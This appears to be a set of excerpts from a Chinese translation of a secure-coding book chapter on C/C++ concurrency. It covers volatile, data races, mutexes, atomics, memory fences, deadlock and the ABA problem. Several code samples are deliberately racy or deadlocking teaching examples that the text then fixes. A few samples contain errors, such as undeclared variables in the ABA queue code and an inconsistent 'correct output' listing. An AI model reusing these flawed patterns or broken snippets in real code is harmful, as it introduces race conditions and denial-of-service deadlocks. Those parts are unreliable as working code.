    {"text": "未知 7.4.2 损坏的值 在竞争条件中写入的值很容易损坏。请考虑如果在一个只能执行8位字节存储的平台上执行下面的代码会发生什么情况： 1 short int x = 0; 2 3 // 线程1 // 线程 2 4 x = 100; x = 300; 如果平台要写一个16位的short int型数，它可能会这样做，先在一个指令中写高8位，然后在第二个指令中写低8位。如果两个线程对同一个short int型数同时执行写操作，则可能会从一个线程收到低8位而从另一个线程收到高8位。表7.2显示了一个可能的执行场景。 表7.2 执行场景 防止此类数据损坏最常见的缓解措施是使x成为原子类型。这样做会保证两次写入不能交织进行，并且要求，一旦这些线程已完成，x会设置为100或300。 下面是一个类似的例子。 1 struct {int x:8; int y:8} s; 2 s.x = 0; s.y = 0; 3 4 // 线程 1 // 线程 2 5 s.x = 123; s.y = 45; 一个只能执行16位字节存储的实现不覆写s.y将无法写入s.x，如果两个线程对包含位字段的整数字同时执行写，那么s.x可能会收到线程2隐式分配的0，而s.y收到线程1隐式分配的0。 未知 7.4.3 易变的对象 具有volatile限定类型的对象，可能以编译器未知的方式修改，或者有其他未知的副作用。例如，异步信号处理，可能会导致以编译器未知的方式修改对象。 volatile类型限定符对访问和缓存施加限制。根据C的标准： volatile对象的访问严格按照抽象机的规则进行评估。 根据C99 Rationale[ISO/IEC 2003]： 勿缓存本左值：必须执行抽象语义中的每个操作（即因为这个位置不保证包含任何先前的值，所以不可以采用缓存）。 在省略volatile限定符的情况下，除了可能的别名，可以假定指定位置的内容是不变的。例如，下面的程序依赖于接收的一个SIGINT信号来切换一个标志，以终止循环。然而，因为在main（）中的interrupted变量没有声明为volatile，所以对该变量的读取可能被编译器优化掉，导致尽管在信号处理程序中对该变量赋了值，而循环可能永远不会终止。例如，当使用GCC-O优化标志编译时，该程序甚至接到一个SIGINT也不会终止。 01 #include <signal.h> 02 03 sig_atomic_t interrupted; /* 错误：未声明为volatile */ 04 05 void sigint_handler(int signum) { 06 interrupted = 1; /* 赋值可能是在 main() 不可见的 */ 07 } 08 09 int main(void) { 10 signal(SIGINT, sigint_handler); 11 while (!interrupted) { /* 循环可能永远不会终止 */ 12 /* 做一些工作 */ 13 } 14 return 0; 15 } 通过在interrupted变量声明中加入volatile限定，就保证while循环的每次迭代以及信号处理程序都从原来的地址访问它。《C安全编码标准》[Seacord 2008]，“DCL 34-C.对不能缓存的数据使用volatile”编纂了这个规则。 01 #include <signal.h> 02 03 volatile sig_atomic_t interrupted; 04 05 void sigint_handler(int signum) { 06 interrupted = 1; 07 } 08 09 int main(void) { 10 signal(SIGINT, sigint_handler); 11 while (!interrupted) { 12 /* 做一些工作 */ 13 } 14 return 0; 15 } 当一个变量被声明为volatile时，就会禁止编译器对该内存位置的读取和写入顺序进行重新排列。但是，编译器可能对这些读取、写入和对其他的内存位置的读取和写入的相对顺序进行重新排列。下面的程序片段试图使用volatile变量将非易失性数据结构的状态发送信号到另一个线程： 1 volatile int buffer_ready; 2 char buffer[BUF_SIZE]; 3 4 void buffer_init() { 5 for (size_t i = 0; i < BUF_SIZE; i++) 6 buffer[i] = 0; 7 buffer_ready = 1; 8 } 第5行的for循环，既不访问volatile位置也不执行任何有副作用的操作。因此，编译器可以自由地把循环移动到保存buffer_ready的语句下面，从而挫败开发人员的意图。 认为volatile类型限定符保证了原子性（atomicity）、可见性（visibility），或内存访问顺序（memory access sequencing），这是一个误解。在C和C++标准中只是笼统地规定了volatile类型限定符的语义，因为每个实现可能有不同的需求。例如，一个实现可能需要支持多个核，而另一个则可能只需要支持对内存映射I/O寄存器的访问。在pthread的上下文中，volatile类型限定符一般不会被解释为适用于线程间的可见性。根据David Butenhof的理论，“使用volatile毫无作用，除了防止编译器作出有益和可取的优化，对代码的线程安全没有提供任何帮助” [1] 。因此，大多数实现未能加入足够的内存防御以保证其他线程，甚至是硬件设备，按照volatile操作的发出顺序看到它们。在一些平台上，提供了一些有限的排序保证，因为它们是由底层硬件自动执行，或者像在安腾（Itanium）上那样，因为对volatile引用产生了不同的指令。但具体的规则高度依赖于平台。甚至当它们被指定于特定的平台时，也可能会实现得不一致[Boehm 2006]。 具有volatile类型限定符的对象不保证多个线程之间的同步，不防止并发内存访问，也不保证对对象的原子性访问。 [1] comp.programming.threads发表于1997年7月3日， https://groups.google.com/forum/?hl=en&fromgroups=#!topic/comp.programming.threads/OZeX2EpcN9U。"},
    {"text": "未知 7.5 缓解策略 为了在C和C++语言中支持并发，许多库与特定于平台的扩展已开发出来。一个常见的库是POSIX线程库（pthread），由POSIX.1c [IEEE Std.1003.1c-1995]首次发布。 2011年，C和C++的ISO/IEC新版本标准公布了，两者都提供了对多线程程序的支持。把线程的支持集成到语言中比起分别通过库提供线程有几大优势。对语言的扩展，强制使编译器的编写者意识到多线程程序和线程安全。为了保持最大的兼容性，C的线程支持派生自C++的线程支持，只做了句法的变化以支持C语言更简单的语法。C++的线程支持使用类和模板。"},
    {"text": "5 说道： 这一规定有时也称为“仿佛”（as-if）的规则，因为实现可以自由地无视本国际标准的任何要求，只要结果是仿佛按照该要求，只需要可以从程序可观察的行为中确定。"},
    {"text": "不是用来对多线程程序进行编译的编译器可能会在程序中采用“仿佛”规则，仿佛程序是单线程的。 如果程序使用一个线程库，如POSIX线程序，那么事实上，编译器可能把线程安全的程序改造成非线程安全的程序。"},
    {"text": "下面的代码就是俗称Dekker的例子[Boehm 2012]，以荷兰数学家Theodorus Jozef Dekker命名： 1 int x = 0, y = 0, r1 = 0, r2 = 0; 2 3 // 线程 1 // 线程 2 4 x = 1; y = 1; 5 r1 = y; r2 = x; 理想情况下，当两个线程都完成时，r1和r2都设置为1。"},
    {"text": "线程1有可能在线程2读取x的值之前，把x设置为1，但更新后的x值未能在线程2读取该值之前到达线程2的缓存，从而导致线程2读取x为0的过时的值。"},
    {"text": "如果某个程序在不同的线程中包含两个相互矛盾的动作，其中至少有一个不是原子的，并且两者都不在另一个之前发生，那么执行这个程序包含数据竞争。"},
    {"text": "例如，如果第一个线程的动作完成后，它把一个互斥量解锁，并且第二个线程在开始行动之前，把同一个互斥量加锁，那么就建立了相应的“发生在之前”关系。 同样，如果一个原子的值由第一个线程写入，并随后被第二个线程读出，那么第一个动作发生在第二个动作之前。 最后，如果两个动作在一个线程中发生，那么第一个动作发生在第二个动作之前。"},
    {"text": "根据标准的C内存模型，在Dekker的例子中发生数据竞争，因为两个线程同时访问一个共享的值（在这个例子中x和y都是），并至少有一个线程试图写入该值。"},
    {"text": "01 #include <thread> 02 #include <iostream> 03 using namespace std; 04 05 int shared_data = 0; 06 07 void thread_function(int id) { 08 shared_data = id; // 开始shared_data 的竞争窗口 09 cout << \"Thread \" << id << \" set shared value to \" 10 << shared_data << endl; 11 usleep(id * 100); 12 cout << \"Thread \" << id << \" has shared value as \" 13 << shared_data << endl; 14 // shared_data 的竞争结束窗口 15 } 16 17 int main(void) { 18 const size_t thread_size = 10; 19 thread threads[thread_size]; 20 21 for (size_t i = 0; i < thread_size; i++) 22 threads[i] = thread(thread_function, i); 23 24 for (size_t i = 0; i < thread_size; i++) 25 threads[i].join(); 26 // main() 继续之前，等待直到线程完成 27 28 cout << \"Done\" << endl; 29 return 0; 30 } 此代码不能防止每次调用thread_function（）所看到的shared_data不一致。"},
    {"text": "通常情况下，每个线程会向其自身的ID报告它已成功设置共享的值，然后休眠。 但是，当线程醒来时，每个线程都报告，共享值包含设置它的最后一个线程的ID。"},
    {"text": "01 int shared_lock = 0; 02 03 void thread_function(int id) { 04 while (shared_lock) // shared_lock 的竞争窗口从这里开始 05 sleep(1); 06 shared_lock = 1; // shared_lock 的竞争窗口到此为止 07 shared_data = id; // shared_data 的竞争窗口从这里开始 08 cout << \"Thread \" << id << \" set shared value to \" 09 << shared_data << endl; 10 usleep(id * 100); 11 cout << \"Thread \" << id << \" has shared value as \" 12 << shared_data << endl; 13 // shared_data 的竞争窗口到此为止 14 shared_lock = 0; 15 } 遗憾的是，此方案引入了第二个竞争窗口，即这个共享锁本身的竞争窗口。 可能发生下面的情况，即两个线程同时发现锁是空闲的，然后两个线程都把该锁锁定，并继续进入共享数据上的竞争窗口。"},
    {"text": "互斥量有两种可能的状态：锁定和解锁。 一个线程锁定一个互斥量后，任何后续试图锁定该互斥量的线程都将被阻止，直到此互斥量被解锁为止。 当互斥量解锁后，阻塞线程可以恢复执行，并锁定互斥量以继续。"},
    {"text": "01 mutex shared_lock; 02 03 void thread_function(int id) { 04 shared_lock.lock(); 05 shared_data = id; 06 cout << \"Thread \" << id << \" set shared value to \" 07 << shared_data << endl; 08 usleep(id * 100); 09 cout << \"Thread \" << id << \" has shared value as \" 10 << shared_data << endl; 11 shared_lock.unlock(); 12 } 如上所示，可以锁定和解锁C++的互斥量。"},
    {"text": "当对已经锁定的互斥量执行lock（）操作时，该函数会被阻塞直到当前持有该锁的线程释放它。 try_lock（）方法试图锁定互斥量，但如果该互斥量已经锁定，它就立即返回，以允许线程执行其他操作。 C++还支持定时的互斥量，它提供try_lock_for（）和try_lock_until（）方法。"},
    {"text": "多次锁定一个互斥量的线程，必须解锁相同的次数，之后此互斥量才可以被任何其他线程锁定。 非递归互斥量在没有干预解锁时不能被同一个线程多次锁定。"},
    {"text": "它还提供mtx_init（）和mtx_destroy（）函数来创建与销毁互斥量。 mtx_init（）函数的签名是 int mtx_init(mtx_t *mtx, int type); mtx_init函数创建一个互斥量对象，它的属性用type表示，必须取下列值之一： ·mtx_plain简单的非递归互斥量 ·mtx_timed支持超时的非递归互斥量 ·mtx_plain | mtx_recursive一个简单的递归互斥量 ·mtx_timed | mtx_recursive一个支持超时的递归互斥量 锁卫士（Lock Guard） 。"},
    {"text": "01 mutex shared_lock; 02 03 void thread_function(int id) { 04 lock_guard<mutex> lg(shared_lock); 05 shared_data = id; 06 cout << \"Thread \" << id << \" set shared value to \" 07 << shared_data << endl; 08 usleep(id * 100); 09 cout << \"Thread \" << id << \" has shared value as \" 10 << shared_data << endl; 11 // lg 被销毁，且互斥量在这里被隐式地解锁 12 } 原子操作（Atomic Operation） 。"},
    {"text": "也就是说，一个原子操作不能被任何其他的操作中断，当正在执行原子操作时，它访问的内存，也不可以被任何其他机制改变。 因此，必须在一个原子操作运行完成后，其他任何事物才能访问该操作所使用的内存，原子操作不能被划分成更小的部分。"},
    {"text": "01 volatile atomic_flag shared_lock; 02 03 void thread_function(int id) { 04 while (shared_lock.test_and_set()) sleep(1); 05 shared_data = id; 06 cout << \"Thread \" << id << \" set shared value to \" 07 << shared_data << endl; 08 usleep(id * 100); 09 cout << \"Thread \" << id << \" has shared value as \" 10 << shared_data << endl; 11 shared_lock.clear(); 12 } atomic_flag数据类型提供了经典的测试和设置（test-and-set）功能。"},
    {"text": "在此代码示例中，只有当标志在之前未设置时，atomic_flag对象的test_and_set（）方法才会设置标志。 当标志设置成功时，test_and_set（）方法返回false，当标志已经设置时，它返回true。 只有当整数锁以前是0时，这才与设置整数锁为1效果相同，但是，因为test_and_set（）方法是原子的，它缺乏这样的竞争窗口，即该窗口中的其他方法可以篡改标志。"},
    {"text": "01 atomic<int> shared_lock; 02 03 void thread_function(int id) { 04 int zero = 0; 05 while (!atomic_compare_exchange_weak(&shared_lock, &zero, 1)) 06 sleep(1); 07 shared_data = id; 08 cout << \"Thread \" << id << \" set shared value to \" 09 << shared_data << endl; 10 usleep(id * 100); 11 cout << \"Thread \" << id << \" has shared value as \" 12 << shared_data << endl; 13 shared_lock = 0; 14 } 其原理和以前一样，但锁定对象现在是一个可赋值为数值的原子整数。 atomic_compare_exchange_weak（）函数安全地将锁设置为1。"},
    {"text": "对于每个原子类型，标准还提供了原子类型名称，如atomic_short或atomic_ulong。 原子类型名称atomic_ulong与相应的直接类型_Atomic unsigned long具有相同的表示和对齐要求。"},
    {"text": "atomic_exchange（）泛型函数把一个新值存储到一个原子变量，并返回变量的旧值。 当且仅当目前的变量包含特定值时，atomic_compare_exchange（）泛型函数才会把一个新值存储到一个原子变量中，只有当成功地改变原子变量时，函数才返回ture。"},
    {"text": "C标准也定义了atomic_flag的类型，但它只支持两个函数：atomic_flag_clear（）函数清除标志，当且仅当标志以前是清除状态时，atomic_flag_test_and_set（）函数才设置标志。"},
    {"text": "请记住，与其他类型的竞争条件相比，数据竞争是一个更令人震惊的问题，因为编译器对指令重新排序或由一个线程写入的、稍后另一个线程无法读取的数据都会造成数据竞争，再次考虑Dekker的例子： 1 int x = 0, y = 0, r1 = 0, r2 = 0; 2 3 // 线程 1 // 线程 2 4 x = 1; y = 1; 5 r1 = y; r2 = x; 此程序执行完成后，r1和r2都设置为0，这是可能发生的。"},
    {"text": "如果线程1在线程2对y赋值1之前读取它，就会发生这种情况。 或者线程2可能已把1赋予y，但值1可能缓存，因此，在线程1读y时该值未能抵达线程1，也会发生这种情况。"},
    {"text": "1 int x = 0, y = 0, r1 = 0, r2 = 0; 2 3 // 线程 1 // 线程 2 4 x = 1; y = 1; 5 atomic_thread_fence( atomic_thread_fence( 6 memory_order_seq_cst); memory_order_seq_cst); 7 r1 = y; r2 = x; 围栏防止在程序执行完成时r1和r2值都为0。"},
    {"text": "此外，用于线程1的内存围栏保证，如果在线程2读取x的值之前，线程1到达其围栏指令，那么线程2将会看到x的值为1。 线程2的围栏也保证了它在y赋值1前不会读到x的值，并且因此如果在线程1读y之前线程2的内存围栏执行，线程1会见到y的值为1。"},
    {"text": "此外，已知正确的无锁解决方案对于解决需要锁定的问题并不普遍有用。 也就是说，一些无锁的解决方案在某些情况下具有价值，但必须谨慎使用。"},
    {"text": "消息传递并发往往比共享内存并发的推理容易得多，后者通常需要具有某种形式的锁定的应用程序（例如，互斥量、信号量或监视器）在线程之间协调[Wikipedia 2012c]。"},
    {"text": "此外，因为事件可能源自底层系统或来自用户，并通过库在相反方向传播，所以GUI库的实现难以或不可能找到一个一致的锁定顺序，以避免潜在的死锁。"},
    {"text": "主题角色分析通过引入一个轻量级的注解语言，来表示线程使用的策略，并引入一个相关的静态分析，用以检查所表达的策略和编写代码的一致性，从而解决了上述问题。"},
    {"text": "线程角色 [2] 使用thrd_role_decl注解声明。 例如，注解[[thrd_role_decl（Event.Compute）]]声明了两个线程的角色，分别命名为Event（事件）和Compute（计算）。"},
    {"text": "为了表明履行Event角色的线程永远不会同时履行Compute角色，可以指定[[thrd_role_inc（Event.Compute）]]。 最后，为了表示在同一时间至多可以有一个Event线程，可以指定[[thrd_role_count（Event,1）]]。"},
    {"text": "当被放置在一个函数上时，注解[[thrd_role（Event）]]表示该函数可能只能被履行Event角色的线程执行。 因为前面的thrd_role_inc注解，所以这个注解的等效写法是[[thrd_role（Event &!Compute）]] [3] 。"},
    {"text": "因此，该函数可以从已知是由这种线程执行的代码上下文中调用，而不能从已知履行不相容的角色的线程执行的代码上下文（如在这个例子中的Compute角色）中调用。"},
    {"text": "对于在其默认模式中的部分注解的代码这种分析抑制完全缺乏注解的代码的错误，在注解和未注解的代码之间的边界可能会产生警告和可能的额外注解的建议，并在完全注解的子区域产生完全的结果。"},
    {"text": "对缺乏所有线程角色注解的代码抑制错误支持增量采用，方法是避免还没有准备分析的代码中的虚假错误困扰程序员，同时还对表示线程使用策略的代码提供检查。"},
    {"text": "[2] 用线程角色，而不是使用线程标识的原因，既因为很多角色由多个线程执行（考虑工作线程池），又因为许多单个线程同时执行多个角色（例如，一个Worker 线程，目前是一个Render文本以供打印的Compute线程）。"},
    {"text": "未知 7.5.4 不可变的数据结构 正如已经看到的，只有当两个或多个线程共享数据而且至少一个线程试图对数据进行修改时，才可能有竞争条件。提供线程安全的一种常用的方法是简单地防止线程修改共享数据，在本质上，即是使数据只读。保护不可改变的共享数据不需要锁。 有几个技巧使共享数据只读。一旦初始化，一些类根本无法提供任何方法来修改它们的数据。可以安全地在线程之间共享这些类的对象。在C和C++中一种常见的战术是声明一个共享对象为const（常量）。 另一种方法是复制一个线程可能要修改的任何对象。再次，在这种情况下，所有共享对象都是只读的，任何需要修改一个对象的线程都创建一个共享对象的私有副本，其后只能用它的副本工作。因为副本是私有的，所以共享的对象仍然是不变的。 未知 7.5.5 并发代码属性 线程安全 。线程安全函数的使用可以帮助消除竞争条件。根据定义，一个线程安全函数通过锁或其他互斥机制来防止共享资源被并发访问[IBM 2012b]。因此，一个线程安全的函数可以同时被多个线程调用，而不用担心。如果一个函数不使用静态数据或共享资源，它明显是线程安全的。然而，使用全局数据引发了线程安全的红旗，且任何对全局数据的使用必须同步，以避免竞争条件。 为了使一个函数成为线程安全的，它必须同步访问共享资源。特定数据的访问或整个库可以锁定。然而，在库上使用全局锁会导致争用（contention）（在本节后面介绍）。 可重入 。可重入（reentrant）函数也可以减轻并发编程错误。函数是可重入的，是指相同函数的多个实例可以同时运行在相同的地址空间中，而不会创建潜在的不一致的状态[Dowd 2006]。IBM定义的可重入函数，是指它在连续调用时不持有静态数据，也不会返回一个指向静态数据的指针。因此，可重入函数使用的所有数据都由调用者提供，并且可重入函数不能调用不可重入函数。可重入函数可以中断，并重新进入（reentered）而不会丢失数据的完整性，因此，可重入函数是线程安全的[IBM 2012b]。 线程安全与可重入 。线程安全和可重入的概念有类似之处，但存在一些重要的区别。可重入函数一定也是线程安全的，但线程安全的函数却可能无法重入。例如，从多个线程调用时，下面的函数是线程安全的，但不可重入。 01 #include <pthread.h> 02 03 int increment_counter () { 04 static int count = 0; 05 static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; 06 07 pthread_mutex_lock(&mutex); 08 count++; 09 int result = count; 10 pthread_mutex_unlock(&mutex); 11 12 return result; 13 } increment_counter（）函数可以安全地被多个线程调用，因为这里用互斥量来同步访问共享的counter变量。然而，如果此函数被中断处理程序调用、中断并重入，那么第2次调用就会出现死锁。 未知 7.6 缓解陷阱 当并发实现得不正确时，就会产生漏洞。“简单的多线程程序中的常见错误的研究”（A Study of Common Pitfalls in Simple Multi-Threaded Programs）一文[Choi 2000]发现了下列常见的错误。 ·没有用锁保护共享数据（即数据竞争） ·当锁确实存在时，不使用锁访问共享数据 ·过早释放锁 ·对操作的一部分获取正确的锁，释放它，后来再次取得它，然后又释放它，而正确的做法是一直持有该锁 ·在想要用局部变量时，意外地通过使用全局变量共享数据 ·在不同的时间对共享数据使用两个不同的锁 ·由下列情况引起死锁 ·不恰当的锁定序列（加锁和解锁序列必须保持一致） ·锁定机制使用不当或错误选择 ·不释放锁或试图再次获取已经持有的锁 其他一些常见的并发陷阱包括以下内容： ·缺乏公平—所有线程没有得到平等的机会来获得处理。 ·饥饿—当一个线程霸占共享资源、阻止其他线程使用时发生。 ·活锁—线程继续执行，但未能获得处理。 ·假设线程将 ·以一个特定的顺序运行 ·不能同时运行 ·同时运行 ·在一个线程结束前获得处理 ·假设一个变量不需要锁定，因为开发人员认为只有一个线程写入它且所有其他线程都读取它。这还假定该变量上的操作是原子的。 ·使用非线程安全库。如果一个库能保证由多个线程同时访问时不会产生数据竞争，那么认为它是线程安全的。 ·依托测试，以找到数据竞争和死锁。 ·内存分配和释放问题。当内存在一个线程中分配而在另一个线程中释放时，这些问题可能出现，不正确的同步可能会导致内存仍然被访问时被释放。 本节的其余部分探讨一些细节问题。"},
    {"text": "未知 7.6.1 死锁 传统上，通过使冲突的竞争窗口互斥，使得一旦一个临界区开始执行时，没有额外的线程可以执行，直到前一个线程退出临界区为止，从而消除竞争条件。"},
    {"text": "当两个或多个控制流以彼此都不可以继续执行的方式阻止对方时，就会发生死锁。 特别是，对于一个并发执行流的循环，如果其中在循环中的每个流都已经获得了导致在循环中随后的流悬停的同步对象，则会发生死锁。"},
    {"text": "01 #include <iostream> 02 #include <thread> 03 #include <mutex> 04 using namespace std; 05 06 int shared_data = 0; 07 mutex *locks = NULL; 08 int thread_size; 09 10 void thread_function(int id) { 11 if (id % 2) 12 for (int i = 0; i < thread_size; i++) 13 locks[i].lock(); 14 else 15 for (int i = thread_size - 1; i >= 0; i--) 16 locks[i].lock(); 17 18 shared_data = id; 19 cout << \"Thread \" << id << \" set data to \" << id << endl; 20 21 if (id % 2) 22 for (int i = thread_size - 1; i >= 0; i--) 23 locks[i].unlock(); 24 else 25 for (int i = 0; i < thread_size; i++) 26 locks[i].unlock(); 27 } 28 29 int main(int argc, char** argv) { 30 thread_size = atoi(argv[1]); 31 thread* threads = new thread[thread_size]; 32 locks = new mutex[thread_size]; 33 34 for (int i = 0; i < thread_size; i++) 35 threads[i] = thread(thread_function, i); 36 37 for (int i = 0; i < thread_size; i++) 38 threads[i].join(); 39 // main() 继续之前，等待直到线程完成 40 delete[] locks; 41 delete[] threads; 42 43 return 0; 44 } 当前面的代码有5个线程运行时，下面是一个示例输出。"},
    {"text": "01 void thread_function(int id) { 02 for (int i = 0; i < thread_size; i++) 03 locks[i].lock(); 04 05 shared_data = id; 06 cout << \"Thread \" << id << \" set data to \" << id << endl; 07 08 for (int i = thread_size - 1; i >= 0; i--) 09 locks[i].unlock(); 10 } 当用五个线程运行这个程序时，下面是产生的一个示例输出。"},
    {"text": "例7.1 锁定顺序不当造成死锁 01 #include <thread> 02 #include <iostream> 03 #include <mutex> 04 05 using namespace std; 06 07 int accounts[2]; 08 mutex locks[2]; 09 10 void thread_function(int id) { // id 是 0 或 1 11 // 我们把钱从我们的账户转移到其他账户. 12 int amount = (id + 2) * 10; 13 lock_guard<mutex> this_lock(locks[id]); 14 lock_guard<mutex> that_lock(locks[!id]); 15 accounts[id] -= amount; 16 accounts[!id] += amount; 17 cout << \"Thread \" << id << \" transferred $\" << amount 18 << \" from account \" << id << \" to account \" << !id << endl; 19 } 20 21 int main(void) { 22 const size_t thread_size = 2; 23 thread threads[thread_size]; 24 25 for (size_t i = 0; i < 2; i++) 26 accounts[i] = 100; 27 for (size_t i = 0; i < 2; i++) 28 cout << \"Account \" << i << \" has $\" << accounts[i] << endl; 29 30 for (size_t i = 0; i < thread_size; i++) 31 threads[i] = thread(thread_function, i); 32 33 for (size_t i = 0; i < thread_size; i++) 34 threads[i].join(); 35 // main() 继续之前，等待直到线程完成 36 37 for (size_t i = 0; i < 2; i++) 38 cout << \"Account \" << i << \" has $\" << accounts[i] << endl; 39 return 0; 40 } 这个程序通常能完成转账，使得第一个账户有＄110的净余额，而第二个账户有＄90的净余额。"},
    {"text": "01 void thread_function(int id) { // id 是0 或 1 02 // 我们把钱从我们的账户转移到其他账户. 03 int amount = (id + 2) * 10; 04 int lo_id= id; 05 int hi_id= !id; 06 if (lo_id > hi_id) { 07 int tmp = lo_id; 08 lo_id= hi_id; 09 hi_id= tmp; 10 } 11 // 现在 lo_id < hi_id 12 13 lock_guard<mutex> this_lock(locks[lo_id]); 14 lock_guard<mutex> that_lock(locks[hi_id]); 15 accounts[id] -= amount; 16 accounts[!id] += amount; 17 cout << \"Thread \" << id << \" transferred $\" << amount 18 << \" from account \" << id << \" to account \" << !id << endl; 19 } 在这个解决方案中，对两个账户的ID进行比较，ID较低的账户在ID较高的账户之前显式锁定。"},
    {"text": "例7.2 不释放锁造成死锁 01 void thread_function(int id) { 02 shared_lock.lock(); 03 shared_data = id; 04 cout << \"Thread \" << id << \" set shared value to \" 05 << shared_data << endl; 06 // 做其它工作 07 cout << \"Thread \" << id << \" has shared value as \" 08 << shared_data << endl; 09 if (id != 1) shared_lock.unlock(); 10 } 死锁的一个明显的安全漏洞是拒绝服务。"},
    {"text": "特别是，死锁（和其他的数据竞争）可能对以下条件敏感： ·处理器速度 ·进程或线程调度算法的变动 ·在执行的时候，强加的不同内存限制 ·任何异步事件中断程序执行的能力 ·其他并发执行进程的状态 一个对漏洞的利用可能会导致任何这些条件的更改。"},
    {"text": "未知 7.6.2 过早释放锁 考虑在例7.3运行的一个线程数组的代码。每个线程都把一个共享变量设置为它的线程编号，然后打印出共享变量的值。为了防止数据竞争，每个线程都锁定一个互斥量，以使变量被正确地设置。 例7.3 过早释放锁 01 #include <thread> 02 #include <iostream> 03 #include <mutex> 04 05 using namespace std; 06 07 int shared_data = 0; 08 mutex shared_lock; 09 10 void thread_function(int id) { 11 shared_lock.lock(); 12 shared_data = id; 13 cout << \"Thread \" << id << \" set shared value to \" 14 << shared_data << endl; 15 shared_lock.unlock(); 16 // do other stuff 17 cout << \"Thread \" << id << \" has shared value as \" 18 << shared_data << endl; 19 } 20 21 int main(void) { 22 const size_t thread_size = 3; 23 thread threads[thread_size]; 24 25 for (size_t i = 0; i < thread_size; i++) 26 threads[i] = thread(thread_function, i); 27 28 for (size_t i = 0; i < thread_size; i++) 29 threads[i].join(); 30 // main() 继续之前，等待直到线程完成 31 32 cout << \"Done\" << endl; 33 return 0; 34 } 遗憾的是，当共享变量的每一个写操作都由互斥量所保护时，随后的读取是不受保护的。使用三个线程调用此程序产生下面的输出。 Thread 0 set shared value to 0 Thread 0 has shared value as 0 Thread 1 set shared value to 1 Thread 2 set shared value to 2 Thread 1 has shared value as 2 Thread 2 has shared value as 2 Done 读取和写入共享数据都必须受到保护，以确保每一个线程读取到它写入的相同的值。将临界区扩展为包括读取值，此代码就呈现为线程安全的，如下所示。 01 void thread_function(int id) { 02 shared_lock.lock(); 03 shared_data = id; 04 cout << \"Thread \" << id << \" set shared value to \" 05 << shared_data << endl; 06 // do other stuff 07 cout << \"Thread \" << id << \" has shared value as \" 08 << shared_data << endl; 09 shared_lock.unlock(); 10 } 下面是这段代码的正确输出的一个示例。需要注意的是，线程的顺序仍然可以有所不同，但每个线程都正确地打印出线程编号。 Thread 0 set shared value to 0 Thread 0 has shared value as 0 Thread 1 set shared value to 1 Thread 1 set shared value to 1 Thread 2 has shared value as 2 Thread 2 has shared value as 2 Done 未知 7.6.3 争用 当一个线程试图获取另一个线程持有的锁时，就会发生锁争用。有些锁争用是正常的，这表明，锁正在“工作”，以防止竞争条件。过多的锁争用会导致性能不佳。 减少持有锁的时间量或通过降低每个锁保护的粒度或资源量，可以解决锁争用导致的性能差的问题。持有锁的时间越长，另一个线程尝试获取锁，并被迫等待的概率将越大。反之，减少持有锁的持续时间就减少了争用。例如，不会作用于共享资源的代码，不需要在临界区之内得到保护，并可以与其他线程并行运行。在一个临界区之内执行一个阻塞操作延伸了临界区的持续时间，从而增加了潜在的争用。在临界区之内的阻塞操作也可能导致死锁。在临界区之内执行阻塞操作几乎始终是一个严重的错误。 锁的粒度也可以影响争用。增加由一个单一锁保护的共享资源的数量，或扩大共享资源的范围（例如，锁定整个表以访问一个单元格），将使在同一时间多个线程尝试访问该资源的概率增大。 在选择锁的数量时，增加锁的开销和减少锁争用之间有一个权衡。更细的粒度（每个保护少量的数据）需要更多的锁，使得锁本身的开销增加。额外的锁也会增加死锁的风险。锁一般是相当快的，但是，当然单个执行线程运行速度会比没有锁更慢。"},
    {"text": "然而，第二个线程已在两次读取之间执行并修改了这个值，执行其他工作，然后把值再修改回来，从而愚弄第一个线程，让它以为第二个线程尚未执行。"},
    {"text": "如果将一个条目从列表中移除，并删除，然后分配一个新的条目，并把它添加到列表中，因为优化，新的对象通常会放置在被删除的对象的相同位置。"},
    {"text": "例7.4 ABA问题的C程序例子 01 #include <glib.h> 02 #include <glib-object.h> 03 04 struct Node { 05 void *data; 06 Node *next; 07 }; 08 09 struct Queue { 10 Node *head; 11 Node *tail; 12 }; 13 14 Queue* queue_new(void) { 15 Queue *q = g_slice_new(sizeof(Queue)); 16 q->head = q->tail = g_slice_new0(sizeof(Node)); 17 return q; 18 } 19 20 void queue_enqueue(Queue *q, gpointer data) { 21 Node *node; 22 Node *tail; 23 Node *next; 24 node = g_slice_new(Node); 25 node->data = data; 26 node->next = NULL; 27 while (TRUE) { 28 tail = q->tail; 29 next = tail->next; 30 if (tail != q->tail) { 31 continue; 32 } 33 if (next != NULL) { 34 CAS(&q->tail, tail, next); 35 continue; 36 } 37 if (CAS(&tail->next, null, node)) { 38 break; 39 } 40 } 41 CAS(&q->tail, tail, node); 42 } 43 44 gpointer queue_dequeue(Queue *q) { 45 Node *node; 46 Node *tail; 47 Node *next; 48 while (TRUE) { 49 head = q->head; 50 tail = q->tail; 51 next = head->next; 52 if (head != q->head) { 53 continue; 54 } 55 if (next == NULL) { 56 return NULL; // 空 57 } 58 if (head == tail) { 59 CAS(&q->tail, tail, next); 60 continue; 61 } 62 data = next->data; 63 if (CAS(&q->head, head, next)) { 64 break; 65 } 66 } 67 g_slice_free(Node, head); 68 return data; 69 } 假设有两个线程（T1和T2）同时操作该队列，并且队列看起来像这样： head→A→B→C→tail 表7.4所示的操作顺序说明了ABA问题是如何发生的。"},
    {"text": "例7.5 ABA问题的解决方案的C程序例子 01 void queue_enqueue(Queue *q, gpointer data) { 02 Node *node; 03 Node *tail; 04 Node *next; 05 node = g_slice_new(Node); 06 node->data = data; 07 node->next = NULL; 08 while (TRUE) { 09 tail = q->tail; 10 LF_HAZARD_SET(0, tail); // 把tail （尾部）标记成危险 11 if (tail != q->tail) { // 检查tail （尾部）并没有改变 12 continue; 13 } 14 next = tail->next; 15 if (tail != q->tail) { 16 continue; 17 } 18 if (next != NULL) { 19 CAS(&q->tail, tail, next); 20 continue; 21 } 22 if (CAS(&tail->next, null, node) { 23 break; 24 } 25 } 26 CAS(&q->tail, tail, node); 27 } 28 29 gpointer queue_dequeue(Queue *q) { 30 Node *node; 31 Node *tail; 32 Node *next; 33 while (TRUE) { 34 head = q->head; 35 LF_HAZARD_SET(0, head); // 把 head （头部）标记成危险 36 if (head != q->head) { // 检查head （头部）并没有改变 37 continue; 38 } 39 tail = q->tail; 40 next = head->next; 41 LF_HAZARD_SET(1, next); // 把 next （下一个）标记成危险 42 if (head != q->head) { 43 continue; 44 } 45 if (next == NULL) { 46 return NULL; // 空 47 } 48 if (head == tail) { 49 CAS(&q->tail, tail, next); 50 continue; 51 } 52 data = next->data; 53 if (CAS(&q->head, head, next)) { 54 break; 55 } 56 } 57 LF_HAZARD_UNSET(head); // 退回head （头部) 